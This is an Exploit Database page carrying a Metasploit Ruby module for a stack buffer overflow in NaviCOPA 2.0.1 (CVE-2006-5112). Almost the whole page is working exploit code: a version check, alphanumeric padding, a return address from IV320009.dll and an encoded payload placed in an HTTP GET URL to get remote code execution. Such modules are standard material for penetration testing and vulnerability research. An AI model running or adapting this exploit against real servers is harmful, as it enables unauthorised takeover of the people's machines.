NaviCOPA Web Server 2.0.1 – URL Handling Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-07-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16808/

• ##
  # $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /InterVations/ ] }
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
  				The vulnerability is caused due to a boundary error within the
  				handling of URL parameters.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9797 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5112' ],
  					[ 'OSVDB', '29257' ],
  					[ 'BID', '20250' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
  				],
  			'DisclosureDate' => 'Sep 28 2006',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class )
  	end
  
  	def check
  		connect
  
  		sock.put("GET / HTTP/1.0\r\n\r\n")
  		resp = sock.get_once
  		disconnect
  
  		if (resp =~ /2.01 11th September/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		sploit =rand_text_alphanumeric(228, payload_badchars)
  		sploit << [target.ret].pack('V') + payload.encoded
  
  		uri = '/' + sploit
  
  		res = "GET #{uri} HTTP/1.1\r\n\r\n"
  
  		print_status("Trying target %s" % target.name)
  
  		sock.put(res)
  		sock.close
  
  		handler
  		disconnect
  	end
  
  end